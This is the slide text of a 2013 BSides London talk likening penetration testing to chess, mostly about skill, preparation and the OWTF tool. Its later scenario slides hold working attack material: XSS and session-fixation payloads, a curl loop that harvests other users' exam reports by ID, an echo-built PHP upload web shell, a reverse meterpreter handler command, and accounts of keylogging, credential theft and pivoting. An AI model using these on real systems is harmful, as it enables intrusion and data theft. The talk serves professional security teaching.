Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

of

Pentesting like a grandmaster BSides London 2013 Slide 1 Pentesting like a grandmaster BSides London 2013 Slide 2 Pentesting like a grandmaster BSides London 2013 Slide 3 Pentesting like a grandmaster BSides London 2013 Slide 4 Pentesting like a grandmaster BSides London 2013 Slide 5 Pentesting like a grandmaster BSides London 2013 Slide 6 Pentesting like a grandmaster BSides London 2013 Slide 7 Pentesting like a grandmaster BSides London 2013 Slide 8 Pentesting like a grandmaster BSides London 2013 Slide 9 Pentesting like a grandmaster BSides London 2013 Slide 10 Pentesting like a grandmaster BSides London 2013 Slide 11 Pentesting like a grandmaster BSides London 2013 Slide 12 Pentesting like a grandmaster BSides London 2013 Slide 13 Pentesting like a grandmaster BSides London 2013 Slide 14 Pentesting like a grandmaster BSides London 2013 Slide 15 Pentesting like a grandmaster BSides London 2013 Slide 16 Pentesting like a grandmaster BSides London 2013 Slide 17 Pentesting like a grandmaster BSides London 2013 Slide 18 Pentesting like a grandmaster BSides London 2013 Slide 19 Pentesting like a grandmaster BSides London 2013 Slide 20 Pentesting like a grandmaster BSides London 2013 Slide 21 Pentesting like a grandmaster BSides London 2013 Slide 22 Pentesting like a grandmaster BSides London 2013 Slide 23 Pentesting like a grandmaster BSides London 2013 Slide 24 Pentesting like a grandmaster BSides London 2013 Slide 25 Pentesting like a grandmaster BSides London 2013 Slide 26 Pentesting like a grandmaster BSides London 2013 Slide 27 Pentesting like a grandmaster BSides London 2013 Slide 28 Pentesting like a grandmaster BSides London 2013 Slide 29 Pentesting like a grandmaster BSides London 2013 Slide 30 Pentesting like a grandmaster BSides London 2013 Slide 31 Pentesting like a grandmaster BSides London 2013 Slide 32 Pentesting like a grandmaster BSides London 2013 Slide 33 Pentesting like a grandmaster BSides London 2013 Slide 34 Pentesting like a grandmaster BSides London 2013 Slide 35 Pentesting like a grandmaster BSides London 2013 Slide 36 Pentesting like a grandmaster BSides London 2013 Slide 37 Pentesting like a grandmaster BSides London 2013 Slide 38 Pentesting like a grandmaster BSides London 2013 Slide 39 Pentesting like a grandmaster BSides London 2013 Slide 40 Pentesting like a grandmaster BSides London 2013 Slide 41 Pentesting like a grandmaster BSides London 2013 Slide 42 Pentesting like a grandmaster BSides London 2013 Slide 43 Pentesting like a grandmaster BSides London 2013 Slide 44 Pentesting like a grandmaster BSides London 2013 Slide 45 Pentesting like a grandmaster BSides London 2013 Slide 46 Pentesting like a grandmaster BSides London 2013 Slide 47 Pentesting like a grandmaster BSides London 2013 Slide 48 Pentesting like a grandmaster BSides London 2013 Slide 49 Pentesting like a grandmaster BSides London 2013 Slide 50 Pentesting like a grandmaster BSides London 2013 Slide 51 Pentesting like a grandmaster BSides London 2013 Slide 52 Pentesting like a grandmaster BSides London 2013 Slide 53 Pentesting like a grandmaster BSides London 2013 Slide 54 Pentesting like a grandmaster BSides London 2013 Slide 55 Pentesting like a grandmaster BSides London 2013 Slide 56 Pentesting like a grandmaster BSides London 2013 Slide 57 Pentesting like a grandmaster BSides London 2013 Slide 58 Pentesting like a grandmaster BSides London 2013 Slide 59 Pentesting like a grandmaster BSides London 2013 Slide 60 Pentesting like a grandmaster BSides London 2013 Slide 61 Pentesting like a grandmaster BSides London 2013 Slide 62 Pentesting like a grandmaster BSides London 2013 Slide 63 Pentesting like a grandmaster BSides London 2013 Slide 64 Pentesting like a grandmaster BSides London 2013 Slide 65 Pentesting like a grandmaster BSides London 2013 Slide 66 Pentesting like a grandmaster BSides London 2013 Slide 67 Pentesting like a grandmaster BSides London 2013 Slide 68 Pentesting like a grandmaster BSides London 2013 Slide 69 Pentesting like a grandmaster BSides London 2013 Slide 70 Pentesting like a grandmaster BSides London 2013 Slide 71 Pentesting like a grandmaster BSides London 2013 Slide 72 Pentesting like a grandmaster BSides London 2013 Slide 73 Pentesting like a grandmaster BSides London 2013 Slide 74 Pentesting like a grandmaster BSides London 2013 Slide 75 Pentesting like a grandmaster BSides London 2013 Slide 76 Pentesting like a grandmaster BSides London 2013 Slide 77 Pentesting like a grandmaster BSides London 2013 Slide 78 Pentesting like a grandmaster BSides London 2013 Slide 79 Pentesting like a grandmaster BSides London 2013 Slide 80 Pentesting like a grandmaster BSides London 2013 Slide 81 Pentesting like a grandmaster BSides London 2013 Slide 82 Pentesting like a grandmaster BSides London 2013 Slide 83 Pentesting like a grandmaster BSides London 2013 Slide 84 Pentesting like a grandmaster BSides London 2013 Slide 85 Pentesting like a grandmaster BSides London 2013 Slide 86 Pentesting like a grandmaster BSides London 2013 Slide 87 Pentesting like a grandmaster BSides London 2013 Slide 88 Pentesting like a grandmaster BSides London 2013 Slide 89 Pentesting like a grandmaster BSides London 2013 Slide 90 Pentesting like a grandmaster BSides London 2013 Slide 91 Pentesting like a grandmaster BSides London 2013 Slide 92 Pentesting like a grandmaster BSides London 2013 Slide 93 Pentesting like a grandmaster BSides London 2013 Slide 94 Pentesting like a grandmaster BSides London 2013 Slide 95 Pentesting like a grandmaster BSides London 2013 Slide 96 Pentesting like a grandmaster BSides London 2013 Slide 97 Pentesting like a grandmaster BSides London 2013 Slide 98 Pentesting like a grandmaster BSides London 2013 Slide 99 Pentesting like a grandmaster BSides London 2013 Slide 100 Pentesting like a grandmaster BSides London 2013 Slide 101 Pentesting like a grandmaster BSides London 2013 Slide 102 Pentesting like a grandmaster BSides London 2013 Slide 103 Pentesting like a grandmaster BSides London 2013 Slide 104 Pentesting like a grandmaster BSides London 2013 Slide 105 Pentesting like a grandmaster BSides London 2013 Slide 106 Pentesting like a grandmaster BSides London 2013 Slide 107 Pentesting like a grandmaster BSides London 2013 Slide 108 Pentesting like a grandmaster BSides London 2013 Slide 109 Pentesting like a grandmaster BSides London 2013 Slide 110
Upcoming SlideShare
Smart Sheriff, Dumb Idea, the wild west of government assisted parenting
Next
Download to read offline and view in fullscreen.

13 Likes

Share

Download to read offline

Pentesting like a grandmaster BSides London 2013

Download to read offline

Demos: http://www.youtube.com/playlist?list=PL3SqEmKhsxzzUIG1oIOUw3UeK0euTSTNH

Chess is a complex game: The number of permutations is just too great to compute the best possible move during a game. This is similar to pen testing in that we also have too many vulnerabilities to find and choose from not only on a 1 by 1 basis but also how we would chain them together like a real attacker.
Chess players must analyse efficiently to beat time constraints like pentesters but unlike pentesters they have been doing this for a long time.
The purpose of this talk is to expose the techniques chess players have been using for centuries and to illustrate how we can learn from these and apply them to pen testing. The talk will behighly practical and will show how these techniques have been incorporated into OWTF, not only with screenshots but also demos.
Have you ever had to spend valuable time in the middle of a test to prepare something you could have prepared in advance? Did you ever analyse a vulnerability/attack-path in depth only to find a significantly easier to exploit vulnerability hours/days after? Pen testing is very similar to playing chess: It is easy to get carried on and waste valuable analysis time on a line of attack that is just not the best option. Maybe mistakes like this will be a bit less likely after attending this talk.

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all

Pentesting like a grandmaster BSides London 2013

  1. 1. Pentesting like a Grandmaster Abraham Aranguren @7a_ @owtfp abraham.aranguren@owasp.org http://7-a.org http://owtf.org BSides London, 24th April 2013
  2. 2. Agenda • Intro • What makes a great player/tester • Hacking is like Chess • Intelligence = 1 variable • Strength of Play Factors 1. Individual Skill 2. Game Preparation 3. Game Performance • OWASP OWTF in 5 minutes • Pwnage and WIN scenarios • Conclusion • Q&A
  3. 3. About me • Spanish dude • Uni: Degree, InfoSec research + honour mark • IT: Since 2000, defensive sec as netadmin / developer • (Offensive) InfoSec: Since 2007 • OSCP, CISSP, GWEB, CEH, MCSE, etc. • WebAppSec and Dev/Architect • Infosec consultant, blogger, VSA, OWTF, GIAC, BeEF
  4. 4. Disclaimer I I am.. • NOT a grandmaster • NOT that smart • NOT a rockstar like HD Moore, etc. BUT using these techniques I could outperform people: • Smarter than me • With more experience than me • Way more skilled than me
  5. 5. Disclaimer II Some of the people I will use for examples have done horrible/stupid/inappropriate things such as: • Biting off somebody’s ear (Tyson) • Having affairs outside of marriage (Arnold, Capablanca) • Endorse Scientology (Will Smith) • Anti-Semitism (Bobby Fischer), etc This talk focuses on what it took these and other people to succeed and how we can learn from that ONLY Celebrity FAIL would be a whole different talk ☺
  6. 6. Hacking is like Chess http://imgur.com/YAnUh
  7. 7. Hacking is like Chess http://imgur.com/YAnUh
  8. 8. Hacking is like Chess http://imgur.com/YAnUh
  9. 9. Intelligence = 1 variable So you watched these guys ... … and (maybe) you thought: “I am just not smart enough…” HD Moore Dan Kaminski
  10. 10. How far can you get with “modest intelligence” in life?
  11. 11. Success is Possible Success is possible for people with IQs < 160: • 78: Muhammad Ali: “The greatest of all time” > 80%? • 98: George H.W. Bush: US president > 70% people • 110: Dr. Karl: Science freak on Triple J > 40% people • 135: Arnold Schwarzenegger: Success BEAST 2% people • 135: Garry Kasparov: Word Chess Champion 2% people Recommended reading: http://garthzietsman.blogspot.com/2012/03/chess-intelligence- and-winning.html
  12. 12. High IQ != Guaranteed success “Very high genius IQ”: A Motorcycle mechanic who hangs out with biker gangs and is frequently in and out of jail “Highest IQ in North America”: A bouncer in a bar, minimum wage, lives in a tiny garage http://iq-test.learninginfo.org/iq07.htm
  13. 13. Chess ELO vs. IQ (rough) Sources: http://www.sigmasociety.com/old/medias_qi.html http://www.jlevitt.dircon.co.uk/iq.htm http://www.ifvll.ethz.ch/people/sterne/Grabner_Stern_Neubauer_Acta_2006.pdf http://garthzietsman.blogspot.com/2012/03/chess-intelligence-and-winning.html
  14. 14. Strength of Play Factors
  15. 15. Strength of Play Factors Major strength of play factors: 1. Individual Skill: Years Training, experience 2. Game Preparation: Days/Weeks/Months Game-specific 3. Game Performance: 1 minute - 2.5 hours Equal importance: • FAIL: Individual Skill without game preparation • FAIL: Game preparation without some Individual Skill • FAIL: Game performance without preparation or skill NOTE: In Security testing “The Game” might be 5 days, 2 weeks, etc. but the same rules apply…
  16. 16. 1. Individual Skill
  17. 17. Start Early = Advantage Most World Chess Champions learned to play early: • 4 years old: Capablanca • 4 years old: Euwe • 4 years old: Karpov • 5 years old: Alekhine • 5 years old: Kasparov • 6 years old: Fischer • 8 years old: Tal BUT some started a bit later: • 12 years old: Botvinnik Some argued this “weakness” showed in some of his games Same goes for technology, programming, security, etc: Starting early == More total time to learn == Advantage
  18. 18. Will Smith: Talent vs. Skill “… talent you have naturally, skill is only developed by hours and hours and hours of beating on your craft. … where I excel is ridiculous, sickening, work ethic: While the other guy is sleeping I’m working, while the other guy is eating I’m working…” “.. talent is going to fail you if you are not skilled: if you don’t study, if you don’t work really hard and dedicate yourself to being better every single day..” http://www.youtube.com/watch?v=DNqQ5JAY88c
  19. 19. Relentless Passion: Fischer “You can only get good at chess if you love the game.” “Chess demands total concentration and a love for the game.” “I give 98 percent of my mental energy to chess. Others give only 2 percent.”
  20. 20. Relentless Passion: Larry Larry Pesce from PaulDotCom (paraphrasing quote): “…I just don’t stop: Since I wake up until I go to bed I am trying things out and doing research on my laptop, even beside my wife as she watches TV..”
  21. 21. Rule 5: Work your butt off “…Leaving no stone unturned… no pain no gain … so yeah .. Partying, washing around .. Someone out there at the same time is working hard, someone is getting smarter and someone is winning, just remember that … there is absolutely no way around hard hard work” Arnold’s 6 Rules of success: http://www.youtube.com/watch?v=Y7zntXR-VmA
  22. 22. Pain is temporary: Ali “Pain is temporary, it may last a minute, an hour or even a year, but eventually, it will subside and something else will take its place .. At the end of pain is success: You are not going down because you feel a little pain!” “I’m exactly where I want to be because I realize I gotta commit my very being to this thing , I gotta breathe it, I gotta eat it, I gotta sleep it and until you get there you’ll never be successful in life but once you get there I guarantee you the world is yours so work hard and you can have whatever it is you want.” http://www.youtube.com/watch?v=7pE4m2THO_U
  23. 23. Discipline "...People who'd want to be in my shoes they really think so because they think: wow, they'd make money they'd be rich BUT if they had to go through some of the things I had to go through I think they'd cry, sometimes is so depressive ... that's what discipline is, discipline is going in and doing something that you don't wanna do but you do it like you love it...“ http://www.youtube.com/watch?v=drmBziMus9E
  24. 24. What’s the difference “... these successful people realise that they have an allotted time to perform a given test so that they have to give it their absolute all to doing that test ... …these people gave it their heart and their soul, throughout every single rep, every single set, every single gym session, every single day for weeks, for months, for years, for decades to get to where they were… ... that they were going to break through all mental barriers to get to where they wanted to be and that is the difference between the successful people and those who are not” - Jaret Grossman http://www.youtube.com/watch?v=Sk56VxaeqEQ
  25. 25. How to stay motivated http://smileyandwest.ning.com/profiles/blogs/the-subconscious-mind-re-focus Your subconscious will believe what you tell it! .. and what others tell it too! (i.e. “you will never X”) Repeating your goals to your subconscious builds drive: 99% of successful people do this (consciously or not)
  26. 26. Stay healthy Dan Kaminski and Alex Hutton, enjoying a Mojito, Brucon 2011
  27. 27. Dr Layne Norton PhD: Deadlift tips “…staying healthy is a huge thing because if you are hurt, you can’t lift, you can’t get better … and consistency … you keep accumulating small improvements overtime…“ http://www.youtube.com/watch?v=IWRReBFHvAg – min ~ 1:10
  28. 28. “Smart people learn from their own mistakes… … Really smart people learn from other people’s mistakes”
  29. 29. Stay healthy: Alekhine World Champion 1927-35 + 1937-46 Loss of the title (1935): “Kmoch wrote that Alekhine drank no alcohol for the first half the match, but later took a glass before most games” http://en.wikipedia.org/wiki/Alexander_Alekhine Recovery of the title (1937): “Euwe lost the title to Alekhine in a rematch in 1937, also played in The Netherlands, by the lopsided margin of 15½–9½. Alekhine had given up alcohol to prepare for the rematch, although he would start drinking again later” http://en.wikipedia.org/wiki/Max_Euwe
  30. 30. Stay healthy: Tal Could the youngest* (24) Chess World Champion keep his crown for more than 1 year? .. Of course! (*Kasparov’s 22 was later) World Champion 1960–61 “…bohemian life of chess playing, heavy drinking and chain smoking.. his health suffered … spent much time in hospital .. remove a kidney in 1969… briefly addicted to morphine due to intense pain … On May 28, 1992, dying from kidney failure, left hospital to play at the Moscow blitz tournament, where he defeated Garry Kasparov” http://en.wikipedia.org/wiki/Mikhail_Tal
  31. 31. Stay healthy: Fischer World Champion 1972-75 “Before and during the match, Fischer paid special attention to his physical training and fitness, which was a relatively novel approach for top chess players at that time, He had developed his tennis skills to a good level, and played frequently … and swam for extended periods, usually late at night…” http://en.wikipedia.org/wiki/Bobby_fischer “Your body has to be in top condition. Your chess deteriorates as your body does. You can't separate body from mind.” – Bobby Fischer
  32. 32. Stay healthy: Kasparov World Champion 1985–2000 “Every morning, he ran barefoot for two and a half miles along the beach, and afterward he swam just beyond the breaking surf or played tennis on a court nestled in the woods behind the house.. After lunch and a nap, he spent five or six hours at the chessboard…” http://www.nytimes.com/1990/10/07/magazine/king-kasparov.html
  33. 33. Practical Tips “Just” (!) don’t stop: • Find things that motivate YOU and listen, etc to that: Search youtube for “motivation”, get mp3 from video, etc. • Read a lot: papers, presentations, PoCs, etc • Watch a lot: Webinars, Talks, demos • Practice a lot: Focus on what interests/motivates you • Listen a lot: InfoSec podcasts Podcasts are awesome to keep learning while you do you non-intellectual activities such as: Cooking, cleaning, tidying-up, driving, etc If you are a podcaster: Minimise the fillers or you’ll lose your audience (skipping is annoying + unpractical while driving, etc)
  34. 34. Don’t Fry your CNS If you work hard be careful you don’t fry your CNS: Your central nervous system (CNS) has finite recovery ability You know you’ve fried your CNS when: • You (surprisingly) get sick • Your mental/physical performance drops • Caffeine doesn’t work • You feel like you need to sleep all day: tiredness, etc If this happens you need to: • Sleep without alarms for 10 days (try 1 x week after fix) • Clean-up your diet + Exercise • Caffeine: Avoid it or cycle it Cycle caffeine on and off: Use “on” days and “off” days Use caffeine early in the day: Clear it fully before sleep!
  35. 35. Suggested watching Awesome talk explaining what it takes to build up individual skill: Haroon Meer - You and Your Research http://www.youtube.com/watch?v=JoVx_-bM8Tg Also worth a look: http://www.slideshare.net/reidhoffman/startup-of-you- visual-summary
  36. 36. 2. Game Preparation Can happen: • Before the game / pentest: Goals: • Scope better • Do better 2) During a tournament / pentest: Goals: • React to the unexpected • Avoid detection • Prepare an attack
  37. 37. Chess Player approach Chess players: • Memorise openings • Memorise endings • Memorise entire lines of attack/defence • Try hard to analyse games efficiently Pen tester translation: • Chess players precompute all they can • Chess players analyse info only once Chess player prep (simplified ☺): 1. Find + prep exploits for opponent weaknesses 2. Precompute an obscure opening: best replies analysed at home for weeks/months 3. Kick the opponent out of precomputation with it
  38. 38. Alekhine vs Capablanca World Championship Match 1927
  39. 39. Alekhine vs Capablanca World Championship Match 1927 .. Alekhine's victory surprised almost the entire chess world. Capablanca entered the match with no technical or physical preparation, while Alekhine got himself into good physical condition, and had thoroughly studied Capablanca's play. According to Kasparov, Alekhine's research uncovered many small inaccuracies. Luděk Pachman suggested that Capablanca, who was unaccustomed to losing games or to any other type of setback, became depressed over his unnecessary loss of the eleventh game.. http://en.wikipedia.org/wiki/Jos%C3%A9_Ra%C3%BAl_Capablanca Physical Prep + Opponent Research + Mental toughness = WIN
  40. 40. Garry Kasparov vs Nigel Short World Championship Match 1993
  41. 41. July 1993 FIDE (ELO) rating list. Top 10 players 1 Kasparov, Gary.................... RUS 2815 stronger 2 Karpov, Anatoly................... RUS 2760 … 10 Short, Nigel...................... ENG 2665 weaker http://chess.eusa.ed.ac.uk/Chess/Trivia/AlltimeList.html “In 1993 Nigel Short played Garry Kasparov .. Nigel Short had won matches against former world champion Anatoly Karpov and Jan Timman on his way to meeting Kasparov.” http://www.supreme-chess.com/famous-chess-players/nigel-short.html Match Context
  42. 42. Nigel Short’s Prep surprises Kasparov “Kasparov was evidently disoriented as he used 1 hour 29 minutes to Short's 11 minutes(!) for the entire game.“ Short (weaker) was 8 times faster http://www.chessgames.com/perl/chessgame?gid=1070677
  43. 43. Kasparov + team strike back “In just (!) 9 days after facing it for the first time … Kasparov and his team had found the best reply (11.Ne2 ) and even succeeded in completely bamboozling Short with 12.Be5” “This move was a surprise for me. I spent 45 minutes on my reply. I could not fathom out the complications … “ – Nigel Short http://www.chessgames.com/perl/chessgame?gid=1070681
  44. 44. Anti-Chess Prep: Random Chess Fischer complained … that because of the progress in openings and the memorization of opening books, the best players from history, if brought back from the dead to play today, would no longer be competitive. "Some kid of fourteen today, or even younger, could get an opening advantage against Capablanca" http://en.wikipedia.org/wiki/Bobby_fischer#Fischer_Random_Chess
  45. 45. Pwn2Own: Headlines vs. Prep Headline “Apple's Leopard hacked in 30 seconds” http://www.zdnet.com/apples-leopard-hacked-in-30-seconds-1339287733/ Reality Charlie Miller on his own prep (2008): “… It took us a couple of days to find something, then the rest of the week to work up an exploit and test it. It took us maybe a week altogether” http://www.roughlydrafted.com/2008/03/29/mac-shot-first-10-reasons-why- cansecwest-targets-apple/ Bottom line 1 week of prep for a 30 second attack
  46. 46. Pwn2Own: Stephen Fewer’s prep “Fewer says that the successful exploit required use of three separate vulnerabilities: • Two to achieve successful code execution within the browser • and then a third to escape Internet Explorer's Protected Mode sandbox. Putting together the successful attack took Fewer five to six weeks.” http://arstechnica.com/security/2011/03/pwn2own-day-one-safari-ie8-fall-chrome-unchallenged/
  47. 47. Chris Nickerson on Prep “.. If you do the proper intelligence gathering you can plan an attack that will work and I say that because you will NOT get stopped: … if you get stopped, it is your fault for not doing enough intelligence gathering so remember it next time” http://blog.securityactive.co.uk/2009/10/19/chris-nickerson-red-and-tiger-team-testing-brucon-2009/ - min ~16
  48. 48. Kevin Mitnick’s Prep “.. we can setup their environment in our lab, and …we can …exploit our own environment … this was doing a lot of work prior to the attack: Finding out the AV, finding out the target system and working on bypassing UAC before the client was even hit … And then when we did the attack it worked flawlessly the first time … I think the upfront preparation is really critical to be successful in this stuff” http://vimeo.com/31663242 - minutes: ~19 + 32:48
  49. 49. OSCP results from 2008 24h hacking challenge: Nessus, etc. forbidden, scripts ok. 9-10 hours (test)19 hours (test) 5 hours (sleep) 24 hoursTime 100%100% WTF?FAIL WTF?Game performance ? (less than me?) 1-1,5 months (with a day job) 0? (maybe only studying?) Game prep 7? (12 in 2013)< 1 year (weak!) 5-10 years?Individual Skill Matteo Memelli (ryujin) Me (1st try)2 x respected Security Pros Strength of Play Matteo was x2 faster, but you can’t get more than 100% ☺ Game prep was critical to outperform stronger test takers
  50. 50. My Strategy: Serious prep Knowing myself (Pre-prep self-feelings at the time) • Strength: Coding (dev background = edge over net guys) • Top Likely Weakness: Time (weaker = slower) Knowing the “enemy” (The 24 hour hacking challenge) • Tough test: Most people failed (based on IRC) • Scripts allowed, Nessus, etc forbidden • Watch purehate’s videos, for ideas, etc really helpful Battle prep plan • Heavy Scripting: Reduce time for uncreative work • Heavy Practice: Necessary to be faster on more creative/harder to automate work (exploitation, escalation, etc). All exercises, extra miles, etc. • Podcast Abuse: 3 years of PaulDotCom in 1 month!
  51. 51. Script 1: Prober Probe more likely open ports first until a full scan complete: • 1st wave: scan + probe top 100 TCP ports + SNMP (awesome) results in 5 minutes! • 2nd wave: scan + probe next 900 TCP ports + few UDP • 3rd wave: scan remaining TCP ports (slower) • 4th wave: scan remaining UDP ports (super-slow) • For each wave: Group report 1 thing to look at Summary: • Staged: Fast results (5-10 minutes for 1st wave) • Reliable: Even monitored free RAM, etc. before launching things (to avoid crashing my own machine!) • Auto-Pilot: No supervision required (!babysitting)
  52. 52. Script 2: Reporter A separate script generated partial reports at any time: I could see the partial probing results and work from there very quickly though a clickable web page. No waiting until all the probes finished. critical
  53. 53. The Advantage of organised info Others spent valuable energy to run (a lot of) tools by hand (12+ terminals open to babysit, etc)… … I had this in < 10 minutes via scripts!:
  54. 54. When Prep FAILs Whatever you do prep will fail sooner or later Option 1) Take the hit: Consider nights, weekends, etc. this will pay off in the test and your future assessments, view it as a "paid training opportunity“ Option 2) Ask for an extension: Find a good reason + Negotiate an extension with your customer Option 3) Ask for a delay: Take the hit without disrupting your life that much (maybe ☺) Option 4) All of the above ☺
  55. 55. 3. Game Performance
  56. 56. http://www.securitygeneration.com/security/pic-of-the-week-real-world-penetration-testing/
  57. 57. http://www.slideshare.net/bsideslondon/breaking-entering-and-pentesting
  58. 58. Mental Toughness: Karpov Karpov: World Champion 1975–85… “.. I could resist in positions where other players probably would resign. And I was finding interesting ideas on how to defend difficult positions and I could save many games. ..I never gave up … you try to find the best move whatever the position is, because many people they say, okay, this is bad and then they lose will to fight. I never lost the will to fight.” http://bigthink.com/videos/the-value-of-mental-toughness
  59. 59. Efficient Chess Analysis From Alexander Kotov - "Think like a Grandmaster": 1) Draw a list of candidate moves (3-4) 1st Sweep (!deep) 2) Analyse each variation only once (!) 2nd Sweep (deep) 3) After step 1 and 2 make a move 1) Draw up a list of candidate paths of attack 2) Analyse [ tool output + other info ] once and only once 3) After 1) and 2) exploit the best path of attack Ever analysed X in depth to only see “super-Y” later?
  60. 60. In 5 minutes Putting it all together:
  61. 61. Plugin Types (-t) At least 50% (32 out of 64) of the tests in the OWASP Testing guide can be legally* performed at least partially without permission * Except in Spain, where visiting a page can be illegal ☺ * This is only my interpretation and not that of my employer + might not apply to your country!
  62. 62. A Pentester “cheating try” Offensive (Web) Testing Framework = Multi-level “cheating” tactics
  63. 63. OWTF’s Chess-like approach Kasparov against Deep Blue - http://www.robotikka.com
  64. 64. Scenario 1: Summary Pre-Engagement: No permission to test Game prep 1) Run passive plugins legit + no traffic to target Sitefinity CMS found 2) Identify best path of attack: • Sitefinity default admin password • Public sitefinity shell upload exploits Engagement: Permission to test Game performance 1) Try best path of attack first
  65. 65. Scenario 1: Demo
  66. 66. Scenario 1: Outcome !!1 minute after getting permission …
  67. 67. Scenario 1: Outcome !!5 minutes after getting permission …
  68. 68. Scenario 2: Summary Attack preparation (pre-engagement safe) Game prep 1) Run semi-passive plugins legit Missconfigured crossdomain, fingerprint wordpress version 2) Identify best path of attack: crossdomain + phishing + wordpress plugin upload + meterpreter 3) Replicate customer environment in lab 4) Prep attack: Adapt public payloads to target 5) Test in lab Launching the attack Game performance 1) Tested attack works flawlessly on the first shot 2) Pivot 3) Show impact
  69. 69. Scenario 2: Demo
  70. 70. Scenario 3: Summary Pre-Engagement: No permission to test Game prep 1) Mapping the application you notice ….. https://target.com/reports/rwservlet/ Auth bypass vuln by design: Oracle reports accessible without auth 2) Identify best path of attack: Use the reporting GUI ☺ Engagement: Permission to test Game performance 1) Pwn customer on “minute 1”: Use the reporting GUI ☺
  71. 71. Scenario 3: Impact
  72. 72. Scenario 3: Impact
  73. 73. Scenario 3: Vuln Examples ☺
  74. 74. Scenario 4: Summary Pre-Engagement: No permission to test Game prep 1) .NET app: OMG they have a firewall ☺ 2) Hmm they also have an XML file upload! 3) Identify best path of attack: XSS via encoded field in XML file upload &lt;iframe onload=&quot;javascript:ALERT('OWNED')&quot; src=&quot;http://www.google.com&quot;&gt;&lt;/iframe&gt; Engagement: Permission to test Game performance 1) Pwn customer on “minute 1”: Persistent XSS via XML upload
  75. 75. Scenario 4: PoC
  76. 76. Scenario 5: Summary Pre-Engagement: No permission to test Game prep • File upload check: Can upload doc files 2) Noting URL: http://target.com/attachments/..........._test.doc 3) Log out 4) Try to get uploaded file: Success Auth bypass 5) Prepare attack: Write script to download all documents Engagement: Permission to test Game performance 1) Pwn customer on “minute 1”: Run script
  77. 77. Scenario 6: Summary 1) Session Id does not change after login 2) Got XSS 3) Prepping XSS + Session fixation exploit: https://target.com/sample.php?Code='><script> document.cookie='PHPSESSID=3ssc1h5464qonvhuq3gm5u49q6; path=/'; window.location='https://target.com/login/'; </script><br Bottom line: Session fixation through XSS is possible
  78. 78. Scenario 7: Summary 1) Site A makes a request to Site B with NO security tokens 2) Site A retrieves sensitive info from Site B using 1) 3) Problem verification: curl --referer 'https://target.com/demo.php' http://target2.com/demo.jsp?userid=xxxxxxx&examid=xxxxxxxx | lynx --dump -stdin|more Quick Exploit: Downloads arbitrary exam reports.. for i in $(php -r 'echo implode(" ",range(11200,16000));'); do echo "Trying $i .."; curl … > tmp.html ; BAD=$(grep '500 - Internal server error' tmp.html|wc -l); if [ $BAD -eq 0 ]; then cp tmp.html $i.html; # Got a hit fi done
  79. 79. Scenario 8: AppSec2NetSec 1) Initial scope: 1 app server on cloud provider 2) File Upload vuln 3) Getting a nice shell 4) Run keylogger 5) Mapped hosts 6) Reused passwords 7) Pwned 17 servers (GUI access on 16) 8) No admin detected the attack ☺
  80. 80. Scenario 8: AppSec2NetSec 2) Classic File upload, Null character and shell Small gotcha: Image had to be valid so I used a GIF file with PHP code in the comment (using GIMP)
  81. 81. Scenario 8: AppSec2NetSec 3) Shell is only the beginning, you know? ☺ In windows, by default (i.e. next / next / finish install) Apache runs as SYSTEM, i.e. more than Admin, no need to escalate ☺
  82. 82. Scenario 8: AppSec2NetSec 3) Getting comfortable (no tftp, etc) Creating a file upload PHP shell from a DOS shell.. NOTE: “^” is a escape character in windows echo ^<?php > file_upload.php echo if (isset($_POST['Action']) ^&^& $_POST['Action'] == 'go') { >> file_upload.php echo if (@move_uploaded_file($_FILES['MyFile']['tmp_name'], $_FILES['MyFile']['name']) == false) { >> file_upload.php echo die('Error when uploading: '.$_FILES['MyFile']['error']); >> file_upload.php echo } >> file_upload.php echo else { >> file_upload.php echo echo 'upload ok!'; >> file_upload.php echo } >> file_upload.php echo } >> file_upload.php echo ?^> >> file_upload.php echo ^<html^>^<form action="" enctype="multipart/form-data" name="myform" id="myform" method="post"^>^<input type="hidden" name="Action" value="go" /^> ^<input type="file" name="MyFile" id="MyFile" value="" size="80" maxlength="255" /^>^<input type="submit" name="send" value="Submit" /^>^</form^>^</html^> >> file_upload.php
  83. 83. Scenario 8: AppSec2NetSec 3) Now we’re ready to upload a reverse meterpreter shell ☺
  84. 84. Scenario 8: AppSec2NetSec Check before meterpreter upload: AV Fingerprint via ‘tasklist’
  85. 85. Scenario 8: AppSec2NetSec You are totally blocking port 80 outbound, huh? ☺ # /pentest/exploits/framework3/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp_allports LHOST=192.168.0.127 LPORT=80 E …
  86. 86. Scenario 8: AppSec2NetSec LM hashes were disabled, NT LM hashes were tough to crack .. Time to improvise
  87. 87. Scenario 8: AppSec2NetSec Map network with arp –a, etc via winenum: winenum is very scary…
  88. 88. Scenario 8: AppSec2NetSec Getting GUI access:
  89. 89. Scenario 8: AppSec2NetSec No need to crack our own password ☺
  90. 90. Scenario 8: AppSec2NetSec If you can’t crack passwords you might be able to steal them.. Patience is worth its prize…
  91. 91. Scenario 8: AppSec2NetSec While you are waiting, you might as well dump memory..
  92. 92. Scenario 8: AppSec2NetSec Pivoting around using stolen passwords..
  93. 93. Scenario 8: AppSec2NetSec Pivoting .. Where? ☺ Approach 1) Run History
  94. 94. Scenario 8: AppSec2NetSec Approach 2) Merge winenum info PASSIVE Ping Sweep: Unique IPs & MACs from the ARP table of all popped boxes via winenum
  95. 95. Scenario 8: AppSec2NetSec PASSIVE Local “Port scanning” from winenum
  96. 96. Scenario 8: AppSec2NetSec Don’t forget about IPv6 & UDP ☺
  97. 97. Scenario 8: AppSec2NetSec PASSIVE Remote “Port scanning” from winenum via active connections
  98. 98. Scenario 8: AppSec2NetSec Admin shares (c$, d$, etc), SSL private keys, ..
  99. 99. Scenario 8: AppSec2NetSec So you have hard-coded credentials in your scripts?
  100. 100. Scenario 8: AppSec2NetSec Let’s try those …
  101. 101. Scenario 8: AppSec2NetSec Trying…
  102. 102. Scenario 8: AppSec2NetSec Seeing the shares thanks to your script credentials:
  103. 103. Scenario 8: AppSec2NetSec Does your application store user credentials in clear-text on the user session files?
  104. 104. Scenario 8: AppSec2NetSec Yup ☺
  105. 105. Scenario 8: AppSec2NetSec And my personal favourite (only had to click OK ☺):
